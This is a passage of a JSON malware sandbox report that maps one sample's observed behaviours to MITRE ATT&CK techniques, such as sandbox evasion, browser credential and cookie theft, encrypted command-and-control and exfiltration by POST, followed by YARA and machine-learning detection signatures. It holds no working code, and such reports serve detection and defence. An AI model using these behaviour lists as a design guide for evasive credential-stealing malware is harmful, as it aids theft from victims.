Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains ability to enumerate volumes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"informative","value":"Contains ability to query volume size"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Able to detect virtual machine (string)"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"},{"type":"informative","value":"Able to read the PEB (Process Environment Block) structure"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieve browser cookies data"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Credential Access","technique":"Password Managers","attack_id":"T1555.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/005","identifiers":[{"type":"informative","value":"Able to access password managers"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Able to query registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to lookup the windows account name"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Attempts to get system information using PowerShell"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API used to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Tries to enumerate objects using PowerShell"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to verify if file exist on disk (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Calls APIs used for find file/directory path"},{"type":"informative","value":"Contains ability to enumerates all mounted drives"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to retrieve list of files and subdirectories"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"malicious","value":"Opens a handle of credential dumping utility"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve system network configuration"},{"type":"informative","value":"Able to retrieve NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to query the machine timezone"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Retrieves instances of WMI objects using PowerShell"},{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"},{"type":"informative","value":"Contains ability to retrieve instances of WMI objects (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Able to query system locale information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Steals sensitive data from browsers"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Drops files with image extension"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"},{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Command and Control","technique":"Steganography","attack_id":"T1001.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1001/002","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"malicious","value":"Collects system information using GET request"},{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Contains possible references to Golang crypto modules"},{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Imports crypto-related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]}],"sandbox_signatures":[{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 encryption algorithm","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"sample.bin\", YARA signature for ChaCha20 128-bit key algorithm matched on file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027","id":"yara-44","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - SHA-256 algorithm (constants)","description":"YARA signature for SHA-256 algorithm constants matched on file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027","id":"yara-66","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – cryptographic algorithms","description":"YARA signature matched on Chacha20 instruction used in file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027.013","id":"yara-155","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with bottom confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"bottom\" confidence","origin":"Static Analysis","id":"mlmodel-15","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with medium 